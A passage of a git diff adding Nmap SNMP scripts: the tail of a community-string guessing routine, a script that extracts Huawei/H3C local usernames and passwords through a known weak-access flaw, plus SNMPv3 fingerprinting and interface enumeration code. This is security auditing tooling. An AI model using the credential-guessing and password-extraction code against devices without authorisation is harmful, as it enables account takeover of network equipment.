+ payload = snmp.encode(snmp.buildPacket(request, nil, community))
+ status, err = socket:send(payload)
+ if not status then
+ result.status = false
+ result.msg = "Could not send SNMP probe"
+ condvar "signal"
+ return
+ end
+
+ community = nextcommunity()
+ end
+
+ result.sent = true
+ condvar("signal")
+end
+
+local sniff_snmp_responses = function(host, port, lport, result)
+ local condvar = nmap.condvar(result)
+ local pcap = nmap.new_socket()
+ pcap:set_timeout(host.times.timeout * 1000 * 3)
+ pcap:pcap_open(host.interface, 300, false,
+ ("src host %s and udp and src port %d and dst port %d"):format(host.ip, port.number, lport))
+
+ local communities = creds.Credentials:new(SCRIPT_NAME, host, port)
+
+ -- last_run indicated whether there will be only one more receive
+ local last_run = false
+
+ -- receive even when status=false until all the probes are sent
+ while true do
+ if coroutine.status(result.main_thread) == "dead" then
+ -- Oops, main thread quit. Time to bail.
+ return
+ end
+
+ local status, plen, l2, l3, _ = pcap:pcap_receive()
+
+ if status then
+ local p = packet.Packet:new(l3,#l3)
+ if not p:udp_parse() then
+ --shouldn't happen
+ result.status = false
+ result.msg = "Wrong type of packet received"
+ condvar "signal"
+ return
+ end
+
+ local response = p:raw(p.udp_offset + 8, #p.buf)
+ local res = snmp.decode(response)
+
+ if type(res) == "table" then
+ communities:add(nil, res[2], creds.State.VALID)
+ else
+ result.status = false
+ result.msg = "Wrong type of SNMP response received"
+ condvar "signal"
+ return
+ end
+ else
+ if last_run or not result.status then
+ condvar "signal"
+ return
+ else
+ if result.sent then
+ last_run = true
+ end
+ end
+ end
+ end
+ pcap:close()
+ condvar "signal"
+ return
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local status, nextcommunity = communities()
+
+ if not status then
+ return fail("Failed to read the communities database")
+ end
+
+ local result = {}
+ local threads = {}
+
+ local condvar = nmap.condvar(result)
+
+ result.sent = false --whether the probes are sent
+ result.msg = "" -- Error/Status msg
+ result.status = true -- Status (is everything ok)
+ result.main_thread = coroutine.running() -- to check if the main thread is dead.
+
+ local socket = nmap.new_socket("udp")
+ status = socket:connect(host, port)
+
+ if ( not(status) ) then
+ return fail("Failed to connect to server")
+ end
+
+ local status, _, lport = socket:get_info()
+ if( not(status) ) then
+ return fail("Failed to retrieve local port")
+ end
+
+ local recv_co = stdnse.new_thread(sniff_snmp_responses, host, port, lport, result)
+ local send_co = stdnse.new_thread(send_snmp_queries, socket, result, nextcommunity)
+
+ local recv_dead, send_dead
+ while true do
+ condvar "wait"
+ recv_dead = (coroutine.status(recv_co) == "dead")
+ send_dead = (coroutine.status(send_co) == "dead")
+ if send_dead then result.sent = true end
+ if recv_dead then break end
+ end
+
+ socket:close()
+
+ if result.status then
+ return creds.Credentials:new(SCRIPT_NAME, host, port):getTable()
+ else
+ stdnse.debug1("An error occurred: "..result.msg)
+ end
+end
diff --git a/scripts/snmp-hh3c-logins.nse b/scripts/snmp-hh3c-logins.nse
new file mode 100644
index 0000000..de3971a
--- /dev/null
+++ b/scripts/snmp-hh3c-logins.nse
@@ -0,0 +1,148 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+
+description = [[
+Attempts to enumerate Huawei / HP/H3C Locally Defined Users through the
+hh3c-user.mib OID
+
+For devices running software released pre-Oct 2012 only an SNMP read-only
+string is required to access the OID. Otherwise a read-write string is
+required.
+
+Output is 'username - password - level: {0|1|2|3}'
+
+Password may be in cleartext, ciphertext or sha256
+Levels are from 0 to 3 with 0 being the lowest security level
+
+https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03515685
+http://grutztopia.jingojango.net/2012/10/hph3c-and-huawei-snmp-weak-access-to.html
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script snmp-hh3c-logins --script-args creds.snmp=:<community> <target>
+--
+-- @output
+-- | snmp-hh3c-logins:
+-- | users:
+-- | admin - admin - level: 3
+-- |_ h3c - h3capadmin - level 0
+--
+-- @xmloutput
+-- <table>
+-- <elem key="password">admin<elem>
+-- <elem key="username">admin</elem>
+-- <elem key="level">3</elem>
+-- </table>
+-- <table>
+-- <elem key="password">h3capadmin<elem>
+-- <elem key="username">h3c</elem>
+-- <elem key="level">0</elem>
+-- </table>
+
+author = "Kurt Grutzmacher"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- Version 0.3
+-- Created 10/01/2012 - v0.1 - created via modifying other walk scripts
+-- Updated 10/25/2012 - v0.2 - bugfixes and better output per NSE standards
+-- Updated 11/08/2012 - v0.3 - added xmloutput
+
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+--- Gets a value for the specified oid
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @param oid string containing the object id for which the value should be extracted
+-- @return value of relevant type or nil if oid was not found
+function get_value_from_table( tbl, oid )
+
+ for _, v in ipairs( tbl ) do
+ if v.oid == oid then
+ return v.value
+ end
+ end
+
+ return nil
+end
+
+--- Processes the table and creates the script output
+--
+-- @param tbl table containing <code>oid</code> and <code>value</code>
+-- @return <code>stdnse.output_table</code> formatted table
+function process_answer( tbl )
+
+ -- h3c-user MIB OIDs (oldoid)
+ local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
+ local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
+ local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
+ local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
+
+ -- hh3c-user MIB OIDs (newoid)
+ local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
+ local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
+ local hh3cUserLevel = "1.3.6.1.4.1.25506.2.12.1.1.1.4"
+ local hh3cUserState = "1.3.6.1.4.1.25506.2.12.1.1.1.5"
+
+ local output = stdnse.output_table()
+ output.users = {}
+
+ for _, v in ipairs( tbl ) do
+
+ if ( v.oid:match("^" .. h3cUserName) ) then
+ local item = {}
+ local oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserPassword)
+ local password = get_value_from_table( tbl, oldobjid )
+
+ if ( password == nil ) or ( #password == 0 ) then
+ local newobjid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserPassword)
+ password = get_value_from_table( tbl, newobjid )
+ end
+
+ oldobjid = v.oid:gsub( "^" .. h3cUserName, h3cUserLevel)
+ local level = get_value_from_table( tbl, oldobjid )
+
+ if ( level == nil ) then
+ local newobjoid = v.oid:gsub( "^" .. hh3cUserName, hh3cUserLevel)
+ level = get_value_from_table( tbl, oldobjid )
+ end
+
+ output.users[#output.users + 1] = {username=v.value, password=password, level=level}
+ end
+
+ end
+
+ return output
+end
+
+action = function(host, port)
+
+ local oldsnmpoid = "1.3.6.1.4.1.2011.10.2.12.1.1.1"
+ local newsnmpoid = "1.3.6.1.4.1.25506.2.12.1.1.1"
+
+ local snmpHelper = snmp.Helper:new(host, port)
+ snmpHelper:connect()
+
+ local status, users = snmpHelper:walk( oldsnmpoid )
+
+ if (not(status)) or ( users == nil ) or ( #users == 0 ) then
+
+ -- no status? try new snmp oid
+ status, users = snmpHelper:walk( newsnmpoid )
+
+ if (not(status)) or ( users == nil ) or ( #users == 0 ) then
+ return nil
+ end
+
+ end
+
+ nmap.set_port_state(host, port, "open")
+ return process_answer(users)
+
+end
+
diff --git a/scripts/snmp-info.nse b/scripts/snmp-info.nse
new file mode 100644
index 0000000..bad3f4f
--- /dev/null
+++ b/scripts/snmp-info.nse
@@ -0,0 +1,145 @@
+local datetime = require "datetime"
+local datafiles = require "datafiles"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local string = require "string"
+local U = require "lpeg-utility"
+local comm = require "comm"
+
+description = [[
+Extracts basic information from an SNMPv3 GET request. The same probe is used
+here as in the service version detection scan.
+]]
+
+---
+--@output
+--161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
+--| snmp-info:
+--| enterprise: ciscoSystems
+--| engineIDFormat: mac
+--| engineIDData: 00:d4:8c:00:11:22
+--| snmpEngineBoots: 6
+--|_ snmpEngineTime: 358d01h13m46s
+--
+--@xmloutput
+-- <elem key="enterprise">ciscoSystems</elem>
+-- <elem key="engineIDFormat">mac</elem>
+-- <elem key="engineIDData">00:d4:8c:b5:32:bc</elem>
+-- <elem key="snmpEngineBoots">6</elem>
+-- <elem key="snmpEngineTime">358d01h26m34s</elem>
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "version", "safe"}
+
+portrule = shortport.version_port_or_service(161, "snmp", "udp")
+
+-- Lifted from nmap-service-probes:
+local SNMPv3GetRequest = "\x30\x3a\x02\x01\x03\x30\x0f\x02\x02\x4a\x69\x02\x03\0\xff\xe3\x04\x01\x04\x02\x01\x03\x04\x10\x30\x0e\x04\0\x02\x01\0\x02\x01\0\x04\0\x04\0\x04\0\x30\x12\x04\0\x04\0\xa0\x0c\x02\x02\x37\xf0\x02\x01\0\x02\x01\0\x30\0"
+
+-- TODO: This should probably check for version 1 and version 2, since those
+-- can operate on the same port. Right now it's really just "snmp3-info"
+action = function (host, port)
+ local ENTERPRISE_NUMS = nmap.registry.enterprise_numbers
+ if not ENTERPRISE_NUMS then
+ local status
+ status, ENTERPRISE_NUMS = datafiles.parse_file("nselib/data/enterprise_numbers.txt",
+ {[function(l) return tonumber(l:match("^%d+")) end] = "\t(.*)$"})
+ if not status then
+ stdnse.debug1("Couldn't parse enterprise numbers datafile: %s", ENTERPRISE_NUMS)
+ ENTERPRISE_NUMS = {}
+ setmetatable(ENTERPRISE_NUMS, {__index = function(i) return "unknown" end})
+ end
+ nmap.registry.enterprise_numbers = ENTERPRISE_NUMS
+ end
+
+ local response
+ -- Did the service engine already do the hard work?
+ if port.version and port.version.service_fp then
+ -- Probes sent, replies received, but no match.
+ response = U.get_response(port.version.service_fp, "SNMPv3GetRequest")
+ end
+
+ if not response then
+ -- Have to send the probe ourselves
+ local status
+ status, response = comm.exchange(host, port, SNMPv3GetRequest)
+ if not status then
+ stdnse.debug1("Couldn't get a response: %s", response)
+ return nil
+ end
+ end
+
+ local decoded = snmp.decode(response)
+
+ -- Check for SNMP version 3 and msgid 0x4a69 (from the probe)
+ if ((not decoded) or
+ (decoded[1] or false) ~= 3 or
+ (not decoded[2]) or
+ (decoded[2][1] or false) ~= 0x4a69) then
+ stdnse.debug1("Service is not SNMPv3, or packet structure not recognized")
+ return nil
+ end
+
+ -- This really only works for User-based Security Model (USM)
+ if decoded[2][4] ~= 3 then
+ -- TODO: at least report the security model in use
+ stdnse.debug1("SNMP service not using User-based Security Model")
+ return nil
+ end
+
+ -- Decode the msgSecurityParameters octet-string
+ decoded = snmp.decode(decoded[3])
+
+ local output = stdnse.output_table()
+ -- Decode the msgAuthoritativeEngineID octet-string
+ local engineID = decoded[1]
+ local enterprise, pos = string.unpack(">I4", engineID)
+ if enterprise > 0x80000000 then
+ enterprise = enterprise - 0x80000000
+ output.enterprise = ENTERPRISE_NUMS[enterprise]
+ local format, data
+ format, pos = string.unpack("B", engineID, pos)
+ if format == 1 then
+ output.engineIDFormat = "ipv4"
+ output.engineIDData = ipOps.str_to_ip(engineID:sub(pos,pos+3))
+ elseif format == 2 then
+ output.engineIDFormat = "ipv6"
+ output.engineIDData = ipOps.str_to_ip(engineID:sub(pos,pos+15))
+ elseif format == 3 then
+ output.engineIDFormat = "mac"
+ output.engineIDData = stdnse.tohex(engineID:sub(pos,pos+5), {separator=':'})
+ elseif format == 4 then
+ output.engineIDFormat = "text"
+ output.engineIDData = engineID:sub(pos)
+ elseif format == 5 then
+ output.engineIDFormat = "octets"
+ output.engineIDData = stdnse.tohex(engineID:sub(pos))
+ else
+ output.engineIDFormat = "unknown"
+ output.engineIDData = stdnse.tohex(engineID:sub(pos))
+ end
+ else
+ output.enterprise = ENTERPRISE_NUMS[enterprise] or enterprise
+ output.engineIDFormat = "unknown"
+ output.engineIDData = stdnse.tohex(engineID:sub(5))
+ end
+ output.snmpEngineBoots = decoded[2]
+ output.snmpEngineTime = datetime.format_time(decoded[3])
+
+ port.version = port.version or {}
+ port.version.service = "snmp"
+ if port.version.product and port.version.product ~= "SNMPv3 server" then
+ port.version.product = ("%s; %s SNMPv3 server"):format(port.version.product, output.enterprise)
+ else
+ port.version.product = ("%s SNMPv3 server"):format(output.enterprise)
+ end
+ nmap.set_port_version(host, port, "hardmatched")
+
+ return output
+end
diff --git a/scripts/snmp-interfaces.nse b/scripts/snmp-interfaces.nse
new file mode 100644
index 0000000..b2d81e9
--- /dev/null
+++ b/scripts/snmp-interfaces.nse
@@ -0,0 +1,736 @@
+local datafiles = require "datafiles"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local snmp = require "snmp"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Attempts to enumerate network interfaces through SNMP.
+
+This script can also be run during Nmap's pre-scanning phase and can
+attempt to add the SNMP server's interface addresses to the target
+list. The script argument <code>snmp-interfaces.host</code> is
+required to know what host to probe. To specify a port for the SNMP
+server other than 161, use <code>snmp-interfaces.port</code>. When
+run in this way, the script's output tells how many new targets were
+successfully added.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 161 --script=snmp-interfaces <target>
+-- @args snmp-interfaces.host Specifies the SNMP server to probe when
+-- running in the "pre-scanning phase".
+-- @args snmp-interfaces.port The optional port number corresponding
+-- to the host script argument. Defaults to 161.
+--
+-- @output
+-- | snmp-interfaces:
+-- | eth0
+-- | IP address: 192.168.221.128
+-- | MAC address: 00:0c:29:01:e2:74 (VMware)
+-- | Type: ethernetCsmacd Speed: 1 Gbps
+-- |_ Traffic stats: 6.45 Mb sent, 15.01 Mb received
+--
+
+author = {"Thomas Buchanan", "Kris Katterjohn"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+dependencies = {"snmp-brute"}
+
+-- code borrowed heavily from Patrik Karlsson's excellent snmp scripts
+-- Created 03/03/2010 - v0.1 - created by Thomas Buchanan <tbuchanan@thecompassgrp.net>
+-- Revised 03/05/2010 - v0.2 - Reworked output slightly, moved iana_types to script scope. Suggested by David Fifield
+-- Revised 04/11/2010 - v0.2 - moved snmp_walk to snmp library <patrik@cqure.net>
+-- Revised 08/10/2010 - v0.3 - prerule; add interface addresses to Nmap's target list (Kris Katterjohn)
+-- Revised 05/27/2011 - v0.4 - action; add MAC addresses to nmap.registry[host.ip]["mac-geolocation"] (Gorjan Petrovski)
+-- Revised 07/31/2012 - v0.5 - action; remove mac-geolocation changes (script removed from trunk)
+
+
+
+
+prerule = function()
+ if not stdnse.get_script_args({"snmp-interfaces.host", "host"}) then
+ stdnse.debug3("Skipping '%s' %s, 'snmp-interfaces.host' argument is missing.", SCRIPT_NAME, SCRIPT_TYPE)
+ return false
+ end
+
+ return true
+end
+
+portrule = shortport.port_or_service(161, "snmp", "udp", {"open", "open|filtered"})
+
+-- List of IANA-assigned network interface types
+-- Taken from IANAifType-MIB
+-- Available at http://www.iana.org/assignments/ianaiftype-mib
+-- REVISION "201703300000Z" -- March 30, 2017
+local iana_types = {
+ [1] = "other", -- none of the following
+ [2] = "regular1822",
+ [3] = "hdh1822",
+ [4] = "ddnX25",
+ [5] = "rfc877x25",
+ [6] = "ethernetCsmacd", -- for all ethernet-like interfaces,
+ -- regardless of speed, as per RFC3635
+ [7] = "iso88023Csmacd", -- Deprecated via RFC3635
+ -- ethernetCsmacd (6) should be used instead
+ [8] = "iso88024TokenBus",
+ [9] = "iso88025TokenRing",
+ [10] = "iso88026Man",
+ [11] = "starLan", -- Deprecated via RFC3635
+ -- ethernetCsmacd (6) should be used instead
+ [12] = "proteon10Mbit",
+ [13] = "proteon80Mbit",
+ [14] = "hyperchannel",
+ [15] = "fddi",
+ [16] = "lapb",
+ [17] = "sdlc",
+ [18] = "ds1", -- DS1-MIB
+ [19] = "e1", -- Obsolete see DS1-MIB
+ [20] = "basicISDN", -- no longer used
+ -- see also RFC2127
+ [21] = "primaryISDN", -- no longer used
+ -- see also RFC2127
+ [22] = "propPointToPointSerial", -- proprietary serial
+ [23] = "ppp",
+ [24] = "softwareLoopback",
+ [25] = "eon", -- CLNP over IP
+ [26] = "ethernet3Mbit",
+ [27] = "nsip", -- XNS over IP
+ [28] = "slip", -- generic SLIP
+ [29] = "ultra", -- ULTRA technologies
+ [30] = "ds3", -- DS3-MIB
+ [31] = "sip", -- SMDS, coffee
+ [32] = "frameRelay", -- DTE only.
+ [33] = "rs232",
+ [34] = "para", -- parallel-port
+ [35] = "arcnet", -- arcnet
+ [36] = "arcnetPlus", -- arcnet plus
+ [37] = "atm", -- ATM cells
+ [38] = "miox25",
+ [39] = "sonet", -- SONET or SDH
+ [40] = "x25ple",
+ [41] = "iso88022llc",
+ [42] = "localTalk",
+ [43] = "smdsDxi",
+ [44] = "frameRelayService", -- FRNETSERV-MIB
+ [45] = "v35",
+ [46] = "hssi",
+ [47] = "hippi",
+ [48] = "modem", -- Generic modem
+ [49] = "aal5", -- AAL5 over ATM
+ [50] = "sonetPath",
+ [51] = "sonetVT",
+ [52] = "smdsIcip", -- SMDS InterCarrier Interface
+ [53] = "propVirtual", -- proprietary virtual/internal
+ [54] = "propMultiplexor",-- proprietary multiplexing
+ [55] = "ieee80212", -- 100BaseVG
+ [56] = "fibreChannel", -- Fibre Channel
+ [57] = "hippiInterface", -- HIPPI interfaces
+ [58] = "frameRelayInterconnect", -- Obsolete, use either
+ -- frameRelay(32) or
+ -- frameRelayService(44).
+ [59] = "aflane8023", -- ATM Emulated LAN for 802.3
+ [60] = "aflane8025", -- ATM Emulated LAN for 802.5
+ [61] = "cctEmul", -- ATM Emulated circuit
+ [62] = "fastEther", -- Obsoleted via RFC3635
+ -- ethernetCsmacd (6) should be used instead
+ [63] = "isdn", -- ISDN and X.25
+ [64] = "v11", -- CCITT V.11/X.21
+ [65] = "v36", -- CCITT V.36
+ [66] = "g703at64k", -- CCITT G703 at 64Kbps
+ [67] = "g703at2mb", -- Obsolete see DS1-MIB
+ [68] = "qllc", -- SNA QLLC
+ [69] = "fastEtherFX", -- Obsoleted via RFC3635
+ -- ethernetCsmacd (6) should be used instead
+ [70] = "channel", -- channel
+ [71] = "ieee80211", -- radio spread spectrum
+ [72] = "ibm370parChan", -- IBM System 360/370 OEMI Channel
+ [73] = "escon", -- IBM Enterprise Systems Connection
+ [74] = "dlsw", -- Data Link Switching
+ [75] = "isdns", -- ISDN S/T interface
+ [76] = "isdnu", -- ISDN U interface
+ [77] = "lapd", -- Link Access Protocol D
+ [78] = "ipSwitch", -- IP Switching Objects
+ [79] = "rsrb", -- Remote Source Route Bridging
+ [80] = "atmLogical", -- ATM Logical Port
+ [81] = "ds0", -- Digital Signal Level 0
+ [82] = "ds0Bundle", -- group of ds0s on the same ds1
+ [83] = "bsc", -- Bisynchronous Protocol
+ [84] = "async", -- Asynchronous Protocol
+ [85] = "cnr", -- Combat Net Radio
+ [86] = "iso88025Dtr", -- ISO 802.5r DTR
+ [87] = "eplrs", -- Ext Pos Loc Report Sys
+ [88] = "arap", -- Appletalk Remote Access Protocol
+ [89] = "propCnls", -- Proprietary Connectionless Protocol
+ [90] = "hostPad", -- CCITT-ITU X.29 PAD Protocol
+ [91] = "termPad", -- CCITT-ITU X.3 PAD Facility
+ [92] = "frameRelayMPI", -- Multiproto Interconnect over FR
+ [93] = "x213", -- CCITT-ITU X213
+ [94] = "adsl", -- Asymmetric Digital Subscriber Loop
+ [95] = "radsl", -- Rate-Adapt. Digital Subscriber Loop
+ [96] = "sdsl", -- Symmetric Digital Subscriber Loop
+ [97] = "vdsl", -- Very H-Speed Digital Subscrib. Loop
+ [98] = "iso88025CRFPInt", -- ISO 802.5 CRFP
+ [99] = "myrinet", -- Myricom Myrinet
+ [100] = "voiceEM", -- voice recEive and transMit
+ [101] = "voiceFXO", -- voice Foreign Exchange Office
+ [102] = "voiceFXS", -- voice Foreign Exchange Station
+ [103] = "voiceEncap", -- voice encapsulation
+ [104] = "voiceOverIp", -- voice over IP encapsulation
+ [105] = "atmDxi", -- ATM DXI
+ [106] = "atmFuni", -- ATM FUNI
+ [107] = "atmIma", -- ATM IMA
+ [108] = "pppMultilinkBundle", -- PPP Multilink Bundle
+ [109] = "ipOverCdlc", -- IBM ipOverCdlc
+ [110] = "ipOverClaw", -- IBM Common Link Access to Workstn
+ [111] = "stackToStack", -- IBM stackToStack
+ [112] = "virtualIpAddress", -- IBM VIPA
+ [113] = "mpc", -- IBM multi-protocol channel support
+ [114] = "ipOverAtm", -- IBM ipOverAtm
+ [115] = "iso88025Fiber", -- ISO 802.5j Fiber Token Ring
+ [116] = "tdlc", -- IBM twinaxial data link control
+ [117] = "gigabitEthernet", -- Obsoleted via RFC3635
+ -- ethernetCsmacd (6) should be used instead
+ [118] = "hdlc", -- HDLC
+ [119] = "lapf", -- LAP F
+ [120] = "v37", -- V.37
+ [121] = "x25mlp", -- Multi-Link Protocol
+ [122] = "x25huntGroup", -- X25 Hunt Group
+ [123] = "transpHdlc", -- Transp HDLC
+ [124] = "interleave", -- Interleave channel
+ [125] = "fast", -- Fast channel
+ [126] = "ip", -- IP (for APPN HPR in IP networks)
+ [127] = "docsCableMaclayer", -- CATV Mac Layer
+ [128] = "docsCableDownstream", -- CATV Downstream interface
+ [129] = "docsCableUpstream", -- CATV Upstream interface
+ [130] = "a12MppSwitch", -- Avalon Parallel Processor
+ [131] = "tunnel", -- Encapsulation interface
+ [132] = "coffee", -- coffee pot
+ [133] = "ces", -- Circuit Emulation Service
+ [134] = "atmSubInterface", -- ATM Sub Interface
+ [135] = "l2vlan", -- Layer 2 Virtual LAN using 802.1Q
+ [136] = "l3ipvlan", -- Layer 3 Virtual LAN using IP
+ [137] = "l3ipxvlan", -- Layer 3 Virtual LAN using IPX
+ [138] = "digitalPowerline", -- IP over Power Lines
+ [139] = "mediaMailOverIp", -- Multimedia Mail over IP
+ [140] = "dtm", -- Dynamic syncronous Transfer Mode
+ [141] = "dcn", -- Data Communications Network
+ [142] = "ipForward", -- IP Forwarding Interface
+ [143] = "msdsl", -- Multi-rate Symmetric DSL
+ [144] = "ieee1394", -- IEEE1394 High Performance Serial Bus
+ [145] = "if-gsn", -- HIPPI-6400
+ [146] = "dvbRccMacLayer", -- DVB-RCC MAC Layer
+ [147] = "dvbRccDownstream", -- DVB-RCC Downstream Channel
+ [148] = "dvbRccUpstream", -- DVB-RCC Upstream Channel
+ [149] = "atmVirtual", -- ATM Virtual Interface
+ [150] = "mplsTunnel", -- MPLS Tunnel Virtual Interface
+ [151] = "srp", -- Spatial Reuse Protocol
+ [152] = "voiceOverAtm", -- Voice Over ATM
+ [153] = "voiceOverFrameRelay", -- Voice Over Frame Relay
+ [154] = "idsl", -- Digital Subscriber Loop over ISDN
+ [155] = "compositeLink", -- Avici Composite Link Interface
+ [156] = "ss7SigLink", -- SS7 Signaling Link
+ [157] = "propWirelessP2P", -- Prop. P2P wireless interface
+ [158] = "frForward", -- Frame Forward Interface
+ [159] = "rfc1483", -- Multiprotocol over ATM AAL5
+ [160] = "usb", -- USB Interface
+ [161] = "ieee8023adLag", -- IEEE 802.3ad Link Aggregate
+ [162] = "bgppolicyaccounting", -- BGP Policy Accounting
+ [163] = "frf16MfrBundle", -- FRF .16 Multilink Frame Relay
+ [164] = "h323Gatekeeper", -- H323 Gatekeeper
+ [165] = "h323Proxy", -- H323 Voice and Video Proxy
+ [166] = "mpls", -- MPLS
+ [167] = "mfSigLink", -- Multi-frequency signaling link
+ [168] = "hdsl2", -- High Bit-Rate DSL - 2nd generation
+ [169] = "shdsl", -- Multirate HDSL2
+ [170] = "ds1FDL", -- Facility Data Link 4Kbps on a DS1
+ [171] = "pos", -- Packet over SONET/SDH Interface
+ [172] = "dvbAsiIn", -- DVB-ASI Input
+ [173] = "dvbAsiOut", -- DVB-ASI Output
+ [174] = "plc", -- Power Line Communtications
+ [175] = "nfas", -- Non Facility Associated Signaling
+ [176] = "tr008", -- TR008
+ [177] = "gr303RDT", -- Remote Digital Terminal
+ [178] = "gr303IDT", -- Integrated Digital Terminal
+ [179] = "isup", -- ISUP
+ [180] = "propDocsWirelessMaclayer", -- Cisco proprietary Maclayer
+ [181] = "propDocsWirelessDownstream", -- Cisco proprietary Downstream
+ [182] = "propDocsWirelessUpstream", -- Cisco proprietary Upstream
+ [183] = "hiperlan2", -- HIPERLAN Type 2 Radio Interface
+ [184] = "propBWAp2Mp", -- PropBroadbandWirelessAccesspt2multipt
+ -- use of this iftype for IEEE 802.16 WMAN
+ -- interfaces as per IEEE Std 802.16f is
+ -- deprecated and ifType 237 should be used instead.
+ [185] = "sonetOverheadChannel", -- SONET Overhead Channel
+ [186] = "digitalWrapperOverheadChannel", -- Digital Wrapper
+ [187] = "aal2", -- ATM adaptation layer 2
+ [188] = "radioMAC", -- MAC layer over radio links
+ [189] = "atmRadio", -- ATM over radio links
+ [190] = "imt", -- Inter Machine Trunks
+ [191] = "mvl", -- Multiple Virtual Lines DSL
+ [192] = "reachDSL", -- Long Reach DSL
+ [193] = "frDlciEndPt", -- Frame Relay DLCI End Point
+ [194] = "atmVciEndPt", -- ATM VCI End Point
+ [195] = "opticalChannel", -- Optical Channel
+ [196] = "opticalTransport", -- Optical Transport
+ [197] = "propAtm", -- Proprietary ATM
+ [198] = "voiceOverCable", -- Voice Over Cable Interface
+ [199] = "infiniband", -- Infiniband
+ [200] = "teLink", -- TE Link
+ [201] = "q2931", -- Q.2931
+ [202] = "virtualTg", -- Virtual Trunk Group
+ [203] = "sipTg", -- SIP Trunk Group
+ [204] = "sipSig", -- SIP Signaling
+ [205] = "docsCableUpstreamChannel", -- CATV Upstream Channel
+ [206] = "econet", -- Acorn Econet
+ [207] = "pon155", -- FSAN 155Mb Symetrical PON interface
+ [208] = "pon622", -- FSAN622Mb Symetrical PON interface
+ [209] = "bridge", -- Transparent bridge interface
+ [210] = "linegroup", -- Interface common to multiple lines
+ [211] = "voiceEMFGD", -- voice E&M Feature Group D
+ [212] = "voiceFGDEANA", -- voice FGD Exchange Access North American
+ [213] = "voiceDID", -- voice Direct Inward Dialing
+ [214] = "mpegTransport", -- MPEG transport interface
+ [215] = "sixToFour", -- 6to4 interface (DEPRECATED)
+ [216] = "gtp", -- GTP (GPRS Tunneling Protocol)
+ [217] = "pdnEtherLoop1", -- Paradyne EtherLoop 1
+ [218] = "pdnEtherLoop2", -- Paradyne EtherLoop 2
+ [219] = "opticalChannelGroup", -- Optical Channel Group
+ [220] = "homepna", -- HomePNA ITU-T G.989
+ [221] = "gfp", -- Generic Framing Procedure (GFP)
+ [222] = "ciscoISLvlan", -- Layer 2 Virtual LAN using Cisco ISL
+ [223] = "actelisMetaLOOP", -- Acteleis proprietary MetaLOOP High Speed Link
+ [224] = "fcipLink", -- FCIP Link
+ [225] = "rpr", -- Resilient Packet Ring Interface Type
+ [226] = "qam", -- RF Qam Interface
+ [227] = "lmp", -- Link Management Protocol
+ [228] = "cblVectaStar", -- Cambridge Broadband Networks Limited VectaStar
+ [229] = "docsCableMCmtsDownstream", -- CATV Modular CMTS Downstream Interface
+ [230] = "adsl2", -- Asymmetric Digital Subscriber Loop Version 2
+ -- (DEPRECATED/OBSOLETED - please use adsl2plus 238 instead)
+ [231] = "macSecControlledIF", -- MACSecControlled
+ [232] = "macSecUncontrolledIF", -- MACSecUncontrolled
+ [233] = "aviciOpticalEther", -- Avici Optical Ethernet Aggregate
+ [234] = "atmbond", -- atmbond
+ [235] = "voiceFGDOS", -- voice FGD Operator Services
+ [236] = "mocaVersion1", -- MultiMedia over Coax Alliance (MoCA) Interface
+ -- as documented in information provided privately to IANA
+ [237] = "ieee80216WMAN", -- IEEE 802.16 WMAN interface
+ [238] = "adsl2plus", -- Asymmetric Digital Subscriber Loop Version 2,
+ -- Version 2 Plus and all variants
+ [239] = "dvbRcsMacLayer", -- DVB-RCS MAC Layer
+ [240] = "dvbTdm", -- DVB Satellite TDM
+ [241] = "dvbRcsTdma", -- DVB-RCS TDMA
+ [242] = "x86Laps", -- LAPS based on ITU-T X.86/Y.1323
+ [243] = "wwanPP", -- 3GPP WWAN
+ [244] = "wwanPP2", -- 3GPP2 WWAN
+ [245] = "voiceEBS", -- voice P-phone EBS physical interface
+ [246] = "ifPwType", -- Pseudowire interface type
+ [247] = "ilan", -- Internal LAN on a bridge per IEEE 802.1ap
+ [248] = "pip", -- Provider Instance Port on a bridge per IEEE 802.1ah PBB
+ [249] = "aluELP", -- Alcatel-Lucent Ethernet Link Protection
+ [250] = "gpon", -- Gigabit-capable passive optical networks (G-PON) as per ITU-T G.948
+ [251] = "vdsl2", -- Very high speed digital subscriber line Version 2 (as per ITU-T Recommendation G.993.2)
+ [252] = "capwapDot11Profile", -- WLAN Profile Interface
+ [253] = "capwapDot11Bss", -- WLAN BSS Interface
+ [254] = "capwapWtpVirtualRadio", -- WTP Virtual Radio Interface
+ [255] = "bits", -- bitsport
+ [256] = "docsCableUpstreamRfPort", -- DOCSIS CATV Upstream RF Port
+ [257] = "cableDownstreamRfPort", -- CATV downstream RF port
+ [258] = "vmwareVirtualNic", -- VMware Virtual Network Interface
+ [259] = "ieee802154", -- IEEE 802.15.4 WPAN interface
+ [260] = "otnOdu", -- OTN Optical Data Unit
+ [261] = "otnOtu", -- OTN Optical channel Transport Unit
+ [262] = "ifVfiType", -- VPLS Forwarding Instance Interface Type
